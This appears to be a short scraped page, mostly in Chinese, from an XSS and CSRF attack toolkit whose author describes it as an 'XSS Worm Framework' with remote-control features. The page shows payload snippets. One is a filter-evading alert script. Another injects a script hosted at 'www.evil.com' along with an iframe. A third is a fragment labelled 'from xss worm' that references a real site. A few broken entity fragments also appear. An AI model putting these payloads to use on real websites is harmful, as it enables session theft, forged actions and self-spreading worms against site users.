正在加载……

- Encode/Decode
- XSSCodz
- CSRFCodz
- WormAction
- RemoteControl
- About

<script>x=alert;x(/xssor/.source);</script>
\u&#x;
,c&#&#;
↔
↔
↔
↔
↔
→
src="http://www.yeeyan.com/groups/newTopic/" title="xss" content="from xss worm:)"
injectScript('http://www.evil.com:8888/web2ghost/lib/inject.js'); setTimeout("injectIframe('http://www.baidu.com')",1000);
方便XSS与CSRF的工具，并且会集成更多的好想法。
2008-04-05写的雏形，当时的定位是XSS Worm Framework，目前改进了不少，不过还远不够强大。
后端使用PHP，前端与后端的交互都AJAX化了:)
by cosine, mail: evilcos@gmail.com